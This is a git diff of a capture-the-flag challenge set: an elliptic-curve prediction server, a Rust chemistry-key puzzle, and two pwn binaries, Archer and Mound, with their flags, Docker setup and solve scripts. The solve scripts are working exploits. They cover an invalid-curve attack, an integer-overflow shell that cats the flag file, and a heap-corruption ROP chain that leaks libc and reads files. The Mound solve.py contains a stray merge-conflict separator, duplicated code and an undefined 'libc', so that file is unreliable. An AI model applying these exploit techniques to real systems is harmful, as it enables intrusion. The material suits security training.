diff --git a/crypto/PsychECC/README.md b/crypto/PsychECC/README.md new file mode 100644 index 0000000..1cb9f92 --- /dev/null +++ b/crypto/PsychECC/README.md @@ -0,0 +1,3 @@ +# PsychECC +## Crypto +### Flag: rarctf{w0ah_str4ight_cl41r0v0y4nc3!!_8119733d69} \ No newline at end of file diff --git a/crypto/PsychECC/solve.sage b/crypto/PsychECC/solve.sage new file mode 100644 index 0000000..df926ad --- /dev/null +++ b/crypto/PsychECC/solve.sage @@ -0,0 +1,13 @@ +p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 +order = 115792089210356248762697446949407573529996955224135760342422259061068512044369 +a = -3 +b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 +E = EllipticCurve(GF(p),[a,3]) # our evil, invalid curve +# Order is 115792089210356248762697446949407573529995394580452997270780266901612618829008 +# One of the factors is 3 +P = E.gens()[0] +print(P) +_p_=P*ZZ(E.order()/3) # This makes the order of _p_ be 3, so we have an incredibly high chance of success. +print(_p_.order()) +print(f"Choice point: {_p_}") +print(f"Predict point: {_p_*2}") \ No newline at end of file diff --git a/crypto/PsychECC/src/secret.py b/crypto/PsychECC/src/secret.py new file mode 100644 index 0000000..6d776cf --- /dev/null +++ b/crypto/PsychECC/src/secret.py @@ -0,0 +1 @@ +flag = "rarctf{w0ah_str4ight_cl41r0v0y4nc3!!_8119733d69}" \ No newline at end of file diff --git a/crypto/PsychECC/src/server.py b/crypto/PsychECC/src/server.py new file mode 100644 index 0000000..c5afc37 --- /dev/null +++ b/crypto/PsychECC/src/server.py @@ -0,0 +1,70 @@ +from collections import namedtuple +import random +from secret import flag +from Crypto.Util.number import inverse +def moddiv(x,y,p): + return (x * inverse(y,p)) %p +Point = namedtuple("Point","x y") +class EllipticCurve: + INF = Point(0,0) + def __init__(self, a, b, p): + self.a = a + self.b = b + self.p = p + def add(self,P,Q): + if P == self.INF: + return Q + elif Q == self.INF: + return P + + if P.x == Q.x and P.y == (-Q.y % self.p): + return self.INF + if P != Q: + Lambda = moddiv(Q.y - P.y, Q.x - P.x, self.p) + else: + Lambda = moddiv(3 * P.x**2 + self.a,2 * P.y , self.p) + Rx = (Lambda**2 - P.x - Q.x) % self.p + Ry = (Lambda * (P.x - Rx) - P.y) % self.p + return Point(Rx,Ry) + def multiply(self,P,n): + n %= self.p + if n != abs(n): + ans = self.multiply(P,abs(n)) + return Point(ans.x, -ans.y % p) + R = self.INF + while n > 0: + if n % 2 == 1: + R = self.add(R,P) + P = self.add(P,P) + n = n // 2 + return R +# P256 parameters, secure. +p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 +order = 115792089210356248762697446949407573529996955224135760342422259061068512044369 +a = -3 +b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 +E = EllipticCurve(a,b,p) +print("Welcome to my prediction centre!") +print("We're always looking out for psychics!") +print("We're gonna choose a random number. You get to choose a point. We'll multiply that point by our random number.") +print("Since this curve is of perfect and prime order, it'll be impossible to break this test.") +print("Only a psychic could know!") +print("Be psychic, get the flag.") +x = int(input("Enter point x: ")) +y = int(input("Enter point y: ")) +P = Point(x,y) +n = random.randint(1,order) +Q = E.multiply(P,n) +print("Ok, where do you think the point will go?") +px = int(input("Enter point x: ")) +py = int(input("Enter point y: ")) +prediction = Point(px,py) +if prediction == E.INF or prediction == P: + print("Psychics don't use dirty tricks.") + quit() +if prediction == Q: + print("Wow! You're truly psychic!") + print(flag) + quit() +print("Better luck next time.") +print(f"Point was {Q}") \ No newline at end of file diff --git a/misc/IronOxide/README.md b/misc/IronOxide/README.md new file mode 100644 index 0000000..5d60e8a --- /dev/null +++ b/misc/IronOxide/README.md @@ -0,0 +1,3 @@ +# Iron(III) Oxide +## Misc +### Flag: rarctf{w3lc0me_t0_th3_l4b!!!_30bb2505d5} \ No newline at end of file diff --git a/misc/IronOxide/solve.py b/misc/IronOxide/solve.py new file mode 100644 index 0000000..4c620a9 --- /dev/null +++ b/misc/IronOxide/solve.py @@ -0,0 +1,90 @@ +from pwn import * +while True: + p = process("./IronOxide") if not args.REMOTE else remote(args.HOST, int(args.PORT)) + import itertools + from functools import reduce + data = [] + sign = lambda x: 0 if x == 0 else x // abs(x) + from operator import add + from functools import reduce + for i in range(25): + idx = 0 + data.append({}) + for _ in range(24): + p.recvuntil(f": ") + if idx == i: + idx += 1 + output = p.recvline()[:-1].decode().split(", ") + output[1] = int(output[1]) + output[2] = float(output[2] if output[2] != 'NaN' else '0') + data[i][idx] = output + idx += 1 + elemprops = [] + with open("elemprops.csv") as csvfile: + csvfile.readline() + for i,line in enumerate(csvfile.readlines()[:62]): + line = line[:-1].split(',') + elemprops.append({"number": int(line[0]), "symbol": line[1], "valence": int(line[2]), + "electroneg": float(line[3])}) + + + numbercombos = {} + for combo in itertools.product(range(1,63),repeat=2): + diff = abs(combo[0] - combo[1]) + if diff in numbercombos.keys(): + numbercombos[diff].append(combo) + else: + numbercombos[diff] = [combo] + bondcombos = {} + for combo in itertools.product(range(1,63),repeat=2): + num1 = elemprops[combo[0] - 1]["valence"] + num2 = elemprops[combo[1] - 1]["valence"] + if sign(num1) == 1 and sign(num2) == 1: + result = "Metallic" + elif sign(num1) == -1 and sign(num2) == -1: + result = "Covalent" + elif sign(num1) == 0 or sign(num2) == 0: + result = "No Reaction" + else: + result = "Ionic" + if result in bondcombos.keys(): + bondcombos[result].append(combo) + else: + bondcombos[result] = [combo] + electrocombos = {} + for combo in itertools.product(range(1,63),repeat=2): + num1 = elemprops[combo[0] - 1]["electroneg"] + num2 = elemprops[combo[1] - 1]["electroneg"] + if num1 == 0 or num2 == 0: + diff = 0 + else: + diff = round(abs(num1 - num2),2) + if diff in electrocombos.keys(): + electrocombos[diff].append(combo) + else: + electrocombos[diff] = [combo] + + results = [] + for char in data: + possibles = [] + for reaction in char: + bond, numdiff, electrodiff = char[reaction] + sets = set(reduce(add, numbercombos[numdiff])), set(reduce(add, bondcombos[bond])), set(reduce(add, electrocombos[electrodiff])) + possibles.extend(sets) + result = reduce(set.intersection, possibles) + print(result) + results.append(result) + p.recv() + combos = list(itertools.product(*results)) + print(len(combos)) + if len(combos) >= 30: + continue + for combo in itertools.product(*results): + combo = [x + 64 for x in combo] + print(combo) + key = bytes(combo) + p.sendline(key) + data = p.recv() + if b'rarctf' in data: + print(data) + quit() diff --git a/misc/IronOxide/src/Dockerfile b/misc/IronOxide/src/Dockerfile new file mode 100644 index 0000000..80942e9 --- /dev/null +++ b/misc/IronOxide/src/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:18.04 +RUN apt-get update -y && apt-get install -y \ + lib32z1 xinetd \ +&& rm -rf /var/lib/apt/lists/* +RUN useradd ctf +RUN mkdir /ctf +RUN echo "You've been blocked by our xinetd - try again, and report if this repeats." > /etc/banner_fail +COPY ./ctf.xinetd /etc/xinetd.d/ctf +COPY ./start.sh /start.sh +COPY ./setup.sh /setup.sh +COPY ./IronOxide /ctf/IronOxide +COPY ./elemprops.csv /ctf/elemprops.csv +COPY ./flag.txt /ctf/flag.txt +RUN chown -R root:ctf /ctf && chmod -R 750 /ctf +RUN chmod +x /setup.sh +RUN chown root:ctf /start.sh && chmod 750 /start.sh + +CMD ["/setup.sh"] + +EXPOSE 8888 \ No newline at end of file diff --git a/misc/IronOxide/src/IronOxide b/misc/IronOxide/src/IronOxide new file mode 100755 index 0000000..69ef4fa Binary files /dev/null and b/misc/IronOxide/src/IronOxide differ diff --git a/misc/IronOxide/src/ctf.xinetd b/misc/IronOxide/src/ctf.xinetd new file mode 100644 index 0000000..2f99ffc --- /dev/null +++ b/misc/IronOxide/src/ctf.xinetd @@ -0,0 +1,17 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = ctf + type = UNLISTED + port = 8888 + bind = 0.0.0.0 + server = /start.sh + banner_fail = /etc/banner_fail + # Options below are for safety mainly + #per_source = 10 # max instances per source at once + rlimit_cpu = 20 # max cpu seconds + #rlimit_as = 1024M # addr space resource limit +} \ No newline at end of file diff --git a/misc/IronOxide/src/elemprops.csv b/misc/IronOxide/src/elemprops.csv new file mode 100644 index 0000000..db72b56 --- /dev/null +++ b/misc/IronOxide/src/elemprops.csv @@ -0,0 +1,105 @@ +atomicnumber,symbol,valence,electronegativity,group,period +1,H,1,2.2,1,1 +2,He,0,0,18,1 +3,Li,1,0.98,1,2 +4,Be,2,1.57,2,2 +5,B,3,2.04,13,2 +6,C,-4,2.55,14,2 +7,N,-3,3.04,15,2 +8,O,-2,3.44,16,2 +9,F,-1,3.98,17,2 +10,Ne,0,0,18,2 +11,Na,1,0.93,1,3 +12,Mg,2,1.31,2,3 +13,Al,3,1.61,13,3 +14,Si,4,1.9,14,3 +15,P,-3,2.19,15,3 +16,S,-2,2.58,16,3 +17,Cl,-1,3.16,17,3 +18,Ar,0,0,18,3 +19,K,1,0.82,1,4 +20,Ca,2,1,2,4 +21,Sc,3,1.36,3,4 +22,Ti,4,1.54,4,4 +23,V,3,1.63,5,4 +24,Cr,2,1.66,6,4 +25,Mn,2,1.55,7,4 +26,Fe,2,1.83,8,4 +27,Co,2,1.88,9,4 +28,Ni,2,1.91,10,4 +29,Cu,1,1.9,11,4 +30,Zn,2,1.65,12,4 +31,Ga,3,1.81,13,4 +32,Ge,4,2.01,14,4 +33,As,3,2.18,15,4 +34,Se,-2,2.55,16,4 +35,Br,-1,2.96,17,4 +36,Kr,0,3,18,4 +37,Rb,1,0.82,1,5 +38,Sr,2,0.95,2,5 +39,Y,3,1.22,3,5 +40,Zr,4,1.33,4,5 +41,Nb,5,1.6,5,5 +42,Mo,4,2.16,6,5 +43,Tc,4,1.9,7,5 +44,Ru,3,2.2,8,5 +45,Rh,3,2.28,9,5 +46,Pd,2,2.2,10,5 +47,Ag,1,1.93,11,5 +48,Cd,2,1.69,12,5 +49,In,3,1.78,13,5 +50,Sn,-4,1.96,14,5 +51,Sb,3,2.05,15,5 +52,Te,4,2.1,16,5 +53,I,-1,2.66,17,5 +54,Xe,0,2.6,18,6 +55,Cs,1,0.79,1,6 +56,Ba,2,0.89,2,6 +57,La,3,1.1,3,6 +58,Ce,3,1.12,0,6 +59,Pr,3,1.13,0,6 +60,Nd,3,1.14,0,6 +61,Pm,3,1.13,0,6 +62,Sm,3,1.17,0,6 +63,Eu,3,1.2,0,6 +64,Gd,3,1.2,0,6 +65,Tb,3,1.2,0,6 +66,Dy,3,1.22,0,6 +67,Ho,3,1.23,0,6 +68,Er,3,1.24,0,6 +69,Tm,3,1.25,0,6 +70,Yb,3,1.1,0,6 +71,Lu,3,1.27,0,6 +72,Hf,4,1.3,4,6 +73,Ta,5,1.5,5,6 +74,W,4,2.36,6,6 +75,Re,3,1.9,7,6 +76,Os,4,2.2,8,6 +77,Ir,3,2.2,9,6 +78,Pt,2,2.28,10,6 +79,Au,3,2.54,11,6 +80,Hg,1,2,12,6 +81,Tl,1,1.62,13,6 +82,Pb,2,1.87,14,6 +83,Bi,1,2.02,15,6 +84,Po,4,2,16,6 +85,At,-1,2.2,17,6 +86,Rn,0,2.2,18,6 +87,Fr,1,0.7,1,7 +88,Ra,2,0.9,2,7 +89,Ac,3,1.1,3,7 +90,Th,4,1.3,0,7 +91,Pa,5,1.5,0,7 +92,U,2,1.38,0,7 +93,Np,7,1.36,0,7 +94,Pu,4,1.28,0,7 +95,Am,3,1.13,0,7 +96,Cm,3,1.28,0,7 +97,Bk,3,1.3,0,7 +98,Cf,3,1.3,0,7 +99,Es,1,1.3,0,7 +100,Fm,2,1.3,0,7 +101,Md,2,1.3,0,7 +102,No,3,1.3,0,7 +103,Lr,4,1.3,0,7 +104,Rf,3,0,4,7 \ No newline at end of file diff --git a/misc/IronOxide/src/flag.txt b/misc/IronOxide/src/flag.txt new file mode 100644 index 0000000..5f72fb7 --- /dev/null +++ b/misc/IronOxide/src/flag.txt @@ -0,0 +1 @@ +rarctf{w3lc0me_t0_th3_l4b!!!_30bb2505d5} \ No newline at end of file diff --git a/misc/IronOxide/src/setup.sh b/misc/IronOxide/src/setup.sh new file mode 100644 index 0000000..da205ee --- /dev/null +++ b/misc/IronOxide/src/setup.sh @@ -0,0 +1,3 @@ +#!/bin/sh +service xinetd start +sleep infinity \ No newline at end of file diff --git a/misc/IronOxide/src/start.sh b/misc/IronOxide/src/start.sh new file mode 100644 index 0000000..417d780 --- /dev/null +++ b/misc/IronOxide/src/start.sh @@ -0,0 +1,3 @@ +#!/bin/sh +cd /ctf +./IronOxide \ No newline at end of file diff --git a/misc/IronOxide/src/workspace/IronOxide/Cargo.lock b/misc/IronOxide/src/workspace/IronOxide/Cargo.lock new file mode 100644 index 0000000..3016cf1 --- /dev/null +++ b/misc/IronOxide/src/workspace/IronOxide/Cargo.lock @@ -0,0 +1,204 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +[[package]] +name = "IronOxide" +version = "0.1.0" +dependencies = [ + "csv", + "rand", + "serde", +] + +[[package]] +name = "bstr" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90682c8d613ad3373e66de8c6411e0ae2ab2571e879d2efbf73558cc66f21279" +dependencies = [ + "lazy_static", + "memchr", + "regex-automata", + "serde", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "csv" +version = "1.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22813a6dc45b335f9bade10bf7271dc477e81113e89eb251a0bc2a8a81c536e1" +dependencies = [ + "bstr", + "csv-core", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "csv-core" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b2466559f260f48ad25fe6317b3c8dac77b5bdb5763ac7d9d6103530663bc90" +dependencies = [ + "memchr", +] + +[[package]] +name = "getrandom" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fcd999463524c52659517fe2cea98493cfe485d10565e7b0fb07dbba7ad2753" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "itoa" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd25036021b0de88a0aff6b850051563c6516d0bf53f8638938edbb9de732736" + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320cfe77175da3a483efed4bc0adc1968ca050b098ce4f2f1c13a56626128790" + +[[package]] +name = "memchr" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16bd47d9e329435e309c58469fe0791c2d0d1ba96ec0954152a5ae2b04387dc" + +[[package]] +name = "ppv-lite86" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857" + +[[package]] +name = "proc-macro2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c7ed8b8c7b886ea3ed7dde405212185f423ab44682667c8c6dd14aa1d9f6612" +dependencies = [ + "unicode-xid", +] + +[[package]] +name = "quote" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e7573632e6454cf6b99d7aac4ccca54be06da05aca2ef7423d22d27d4d4bcd8" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", + "rand_hc", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rand_hc" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d51e9f596de227fda2ea6c84607f5558e196eeaf43c986b724ba4fb8fdf497e7" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" + +[[package]] +name = "ryu" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71d301d4193d031abdd79ff7e3dd721168a9572ef3fe51a1517aba235bd8f86e" + +[[package]] +name = "serde" +version = "1.0.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f03b9878abf6d14e6779d3f24f07b2cfa90352cfec4acc5aab8f1ac7f146fae8" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a024926d3432516606328597e0f224a51355a493b49fdd67e9209187cbe55ecc" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "syn" +version = "1.0.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1873d832550d4588c3dbc20f01361ab00bfe741048f71e3fecf145a7cc18b29c" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + +[[package]] +name = "unicode-xid" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" + +[[package]] +name = "wasi" +version = "0.10.2+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" diff --git a/misc/IronOxide/src/workspace/IronOxide/Cargo.toml b/misc/IronOxide/src/workspace/IronOxide/Cargo.toml new file mode 100644 index 0000000..dc9c8be --- /dev/null +++ b/misc/IronOxide/src/workspace/IronOxide/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "IronOxide" +version = "0.1.0" +authors = ["Isaac Badipe "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +csv = "1.1" +serde = { version = "1", features = ["derive"] } +rand = "0.8.0" \ No newline at end of file diff --git a/misc/IronOxide/src/workspace/IronOxide/src/main.rs b/misc/IronOxide/src/workspace/IronOxide/src/main.rs new file mode 100644 index 0000000..cc5b055 --- /dev/null +++ b/misc/IronOxide/src/workspace/IronOxide/src/main.rs @@ -0,0 +1,159 @@ +use std::fs::File; +use std::error::{Error}; +use std::io::{self, Write, Read}; +use std::process; +use serde::Deserialize; +use rand::{thread_rng, Rng}; +use std::str; +// DISCLAIMER: Chemical processes replicated in the program are simplified and not extremely accurate +#[derive(Debug)] +struct Atom<'a> { + element: Element, + bonds: Vec> +} +impl Atom<'_> { + fn from_element(element: &Element) -> Atom { + Atom { + element: element.clone(), + bonds: Vec::::new(), + + } + } + fn from_symbol<'a>(symbol: &str, elements: &'a Vec) -> Option> { + for element in elements.iter() { + if element.symbol == symbol { + return Some(Atom::from_element(element)); + } + } + None + } + fn from_atomic_number<'a>(number: u8, elements: &'a Vec) -> Option> { + for element in elements.iter() { + if element.atomicnumber == number { + return Some(Atom::from_element(element)); + } + } + None + } +} +#[derive(Debug, Clone, Deserialize)] +struct Element { + atomicnumber: u8, + symbol: String, + valence: i8, + electronegativity: f64, + group: u8, + period: u8 +} +#[derive(Debug)] +struct Bond<'b> { + bondtype: BondType, + atoms: [&'b Atom<'b>; 2] +} + +impl Bond<'_> { + fn new<'b>(atom1: &'b Atom, atom2: &'b Atom) -> Option>{ + let bondtype; + if atom1.element.valence == 0 || atom2.element.valence == 0 { + // Noble gas bonds not implemented + return None; + } + else if atom1.element.valence.signum() != atom2.element.valence.signum() { + // Ionic + bondtype = BondType::Ionic; + } + else if atom1.element.valence.signum() == 1 && atom2.element.valence.signum() == 1 { + // Metallic + bondtype = BondType::Metallic; + } + else { + // Covalent + bondtype = BondType::Covalent; + } + Some(Bond { + bondtype, + atoms: [atom1, atom2] + }) + + } +} +#[derive(Debug)] +enum BondType { + Covalent, + Ionic, + Metallic +} + +fn main() -> Result<(), Box> { + let mut elements = Vec::::new(); + let response = fill_elements(&mut elements); + if let Err(err) = response { + println!("Error parsing CSV: {}", err); + process::exit(1); + } + // Generate lab key using secure RNG + println!("Generating lab key..."); + let mut rng = thread_rng(); + let mut lab_key = [0u8; 25]; + for i in 0..25 { + lab_key[i] = rng.gen_range(65..127); + } + let lab_key = str::from_utf8(&lab_key[..]).unwrap(); + let chem_password: Vec = lab_key.as_bytes().iter().map(|x| Atom::from_atomic_number(*x - 64, &elements).unwrap()).collect(); + println!("Doing experiment..."); + for i in 0..25 { + for j in 0..25 { + // Reactions with two of the same element are counterproductive + if i == j { + continue; + } + // Give results of reaction, this should be more than enough + let first = &chem_password[i]; + let second = &chem_password[j]; + let difference1 = (first.element.atomicnumber as i16 - second.element.atomicnumber as i16).abs(); + let difference2 = (first.element.electronegativity - second.element.electronegativity).abs(); + let bond = Bond::new(first, second); + match bond { + Some(thebond) => println!("Results for index {} and {}: {:?}, {}, {:.2}", i, j, thebond.bondtype, difference1, difference2), + None => println!("Results for index {} and {}: {}, {}, {:.2}", i, j, "No Reaction", difference1, difference2), + } + } + } + for _ in 0..100 { + let mut attempt = String::new(); + print!("Enter your lab key: "); + io::stdout().flush(); // It won't error :) + io::stdin() + .read_line(&mut attempt) + .unwrap(); + if attempt.trim() == lab_key.to_owned() { + print_flag()?; + process::exit(0); + } + else { + println!("Insert chemistry joke here(your password is wrong btw)"); + } + } + Ok(()) +} +// This isn't copied and repurposed from the rust docs, I promise +fn fill_elements(elemvec: &mut Vec) -> Result<(), Box> { + let elemfile = File::open("elemprops.csv").expect("Failed to open file"); + let mut elemrdr = csv::Reader::from_reader(elemfile); + for result in elemrdr.deserialize() { + let mut record: Element = result?; + // 0 is a placeholder for places where electronegativity isn't applicable + if record.electronegativity == 0.0 { + record.electronegativity = f64::NAN; + } + elemvec.push(record); + } + Ok(()) +} +fn print_flag() -> Result<(), Box> { + let mut flag = String::new(); + let mut flagfile = File::open("flag.txt")?; + flagfile.read_to_string(&mut flag)?; + println!("Flag: {}",flag); + Ok(()) +} \ No newline at end of file diff --git a/pwn/Archer/README.md b/pwn/Archer/README.md new file mode 100644 index 0000000..a1ec9ea --- /dev/null +++ b/pwn/Archer/README.md @@ -0,0 +1,3 @@ +# Archer +## Pwn +### Flag: rarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9} \ No newline at end of file diff --git a/pwn/Archer/solve.py b/pwn/Archer/solve.py new file mode 100755 index 0000000..88aeaf8 --- /dev/null +++ b/pwn/Archer/solve.py @@ -0,0 +1,15 @@ +#!/usr/bin/python3 +from pwn import * + +if args.REMOTE: + r = remote(args.HOST, int(args.PORT)) +else: + r = process("./src/archer") + +r.recvuntil(b": ") +r.sendline(b"yes") +r.clean() +r.sendline(b"0xfffffffffff04068") +r.clean() +r.sendline(b"cat /pwn/flag* 2>/dev/null") +print(r.recv().decode()) diff --git a/pwn/Archer/src/Dockerfile b/pwn/Archer/src/Dockerfile new file mode 100644 index 0000000..2a6da9f --- /dev/null +++ b/pwn/Archer/src/Dockerfile @@ -0,0 +1,19 @@ +FROM ubuntu:18.04 +RUN apt-get update -y && apt-get install -y \ + lib32z1 xinetd \ + && rm -rf /var/lib/apt/lists/* +RUN useradd tango +RUN mkdir /pwn +RUN echo "You've been blocked by our xinetd - try again, and report if this repeats." > /etc/banner_fail +COPY ./ctf.xinetd /etc/xinetd.d/pwn +COPY ./start.sh /start.sh +COPY ./setup.sh /setup.sh +COPY ./archer /pwn/archer +COPY ./flag_0a52f21b1a.txt /pwn/flag_0a52f21b1a.txt +RUN chown -R root:tango /pwn && chmod -R 750 /pwn +RUN chmod +x /setup.sh +RUN chown root:tango /start.sh && chmod 750 /start.sh + +CMD ["/setup.sh"] + +EXPOSE 8888 \ No newline at end of file diff --git a/pwn/Archer/src/archer b/pwn/Archer/src/archer new file mode 100755 index 0000000..98b5656 Binary files /dev/null and b/pwn/Archer/src/archer differ diff --git a/pwn/Archer/src/ctf.xinetd b/pwn/Archer/src/ctf.xinetd new file mode 100644 index 0000000..55e9c95 --- /dev/null +++ b/pwn/Archer/src/ctf.xinetd @@ -0,0 +1,17 @@ +service pwn +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = tango + type = UNLISTED + port = 8888 + bind = 0.0.0.0 + server = /start.sh + banner_fail = /etc/banner_fail + # Options below are for safety mainly + #per_source = 10 # max instances per source at once + rlimit_cpu = 20 # max cpu seconds + #rlimit_as = 1024M # addr space resource limit +} diff --git a/pwn/Archer/src/flag_0a52f21b1a.txt b/pwn/Archer/src/flag_0a52f21b1a.txt new file mode 100644 index 0000000..e72eeb2 --- /dev/null +++ b/pwn/Archer/src/flag_0a52f21b1a.txt @@ -0,0 +1 @@ +rarctf{sw33t_sh0t!_1nt3g3r_0v3rfl0w_r0cks!_170b2820c9} diff --git a/pwn/Archer/src/setup.sh b/pwn/Archer/src/setup.sh new file mode 100644 index 0000000..da205ee --- /dev/null +++ b/pwn/Archer/src/setup.sh @@ -0,0 +1,3 @@ +#!/bin/sh +service xinetd start +sleep infinity \ No newline at end of file diff --git a/pwn/Archer/src/start.sh b/pwn/Archer/src/start.sh new file mode 100644 index 0000000..090f351 --- /dev/null +++ b/pwn/Archer/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh +cd /pwn +./archer + diff --git a/pwn/Mound/README.md b/pwn/Mound/README.md new file mode 100644 index 0000000..335c066 --- /dev/null +++ b/pwn/Mound/README.md @@ -0,0 +1,3 @@ +# Mound +## Pwn +### Flag: rarctf{all0c4t0rs_d0_n0t_m1x_e45a1bf0b2} \ No newline at end of file diff --git a/pwn/Mound/solve.py b/pwn/Mound/solve.py new file mode 100644 index 0000000..d64f71e --- /dev/null +++ b/pwn/Mound/solve.py @@ -0,0 +1,141 @@ +from pwn import * +e = ELF("./src/mound/mound", checksec=False) +context.binary = e +p = remote(args.HOST, int(args.PORT)) if args.REMOTE else e.process() +mcache = (0xbeef << 28) + 0x10 +mound_main = (0xdead << 28) +def glibc(idx, data): + p.sendlineafter("> ","1") + p.sendafter(": ", data) + p.sendlineafter(": ", str(idx)) +def mound(idx, data, size): + p.sendlineafter("> ","2") + p.sendlineafter(": ", str(size)) + p.sendlineafter(": ", str(idx)) + p.sendafter(": ", data) +def edit(idx, data): + p.sendlineafter("> ","3") + p.sendlineafter(": ", str(idx)) + p.sendafter(": ", data) +def free(idx): + p.sendlineafter("> ","4") + p.sendlineafter(": ", str(idx)) +glibc(0, b"B"*23) +glibc(1, b"C"*23) +free(1) +edit(0, b"D"*23) +free(1) +mound(2, p64(mcache) + p64(mound_main + 8 + 0x1000*8 - 16), 16) +# Can now overwrite mound main struct, overwrite top chunk +mound(2, b"E"*16,16) +mound(3, p64(mcache) + p64(e.got['__isoc99_scanf'] - 16),16) +mound(4, p64(e.sym['win']), 32) +padding = b'A'*0x48 +poprdi = 0x0000000000401e8b +payload = flat(padding, poprdi, e.got['puts'], e.plt['puts'], e.sym['win']) +p.clean(0.2) +p.send(payload) +leak = u64(p.recvline()[:-1].ljust(8,b"\x00")) +log.info(f"Puts: {hex(leak)}") +libc.address = leak - libc.symbols['puts'] +rop = ROP(libc) +if not args.FILENAME: + rop.read(0, 0x404300, 0x20) + rop.openat(0, 0x404300, 0) + rop.getdents64(3, 0x404400, 0x400) + rop.write(1, 0x404400, 0x400) + payload = padding + rop.chain() + p.sendline(payload) + p.send(b"/pwn\x00") + filename = p.recvuntil(".txt")[-36:].decode() + log.info(f"Flag file: {filename}") + log.info(f"Run with FILENAME={filename}") +else: + rop.read(0, 0x404300, 0x50) + rop.openat(0, 0x404300, 0) + rop.read(3, 0x404400, 0x80) + rop.write(1, 0x404400, 0x80) + payload = padding + rop.chain() + p.sendline(payload) + p.send(f"/pwn/{args.FILENAME}\x00") + p.interactive() +======= + + +def do_pwn(filename=None): + libc = ELF("./src/libc.so.6", checksec=False) if args.REMOTE else ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) + p = remote(args.HOST, int(args.PORT)) if args.REMOTE else e.process() + mcache = (0xbeef << 28) + 0x10 + mound_main = (0xdead << 28) + + def glibc(idx, data): + p.sendlineafter(b"> ", b"1") + p.sendafter(b": ", data) + p.sendlineafter(b": ", str(idx).encode()) + + def mound(idx, data, size): + p.sendlineafter(b"> ", b"2") + p.sendlineafter(b": ", str(size).encode()) + p.sendlineafter(b": ", str(idx).encode()) + p.sendafter(b": ", data) + + def edit(idx, data): + p.sendlineafter(b"> ", b"3") + p.sendlineafter(b": ", str(idx).encode()) + p.sendafter(b": ", data) + + def free(idx): + p.sendlineafter(b"> ", b"4") + p.sendlineafter(b": ", str(idx).encode()) + glibc(0, b"B"*23) + glibc(1, b"C"*23) + free(1) + edit(0, b"D"*23) + free(1) + mound(2, p64(mcache) + p64(mound_main + 8 + 0x1000*8 - 16), 16) + # Can now overwrite mound main struct, overwrite top chunk + mound(2, b"E"*16, 16) + mound(3, p64(mcache) + 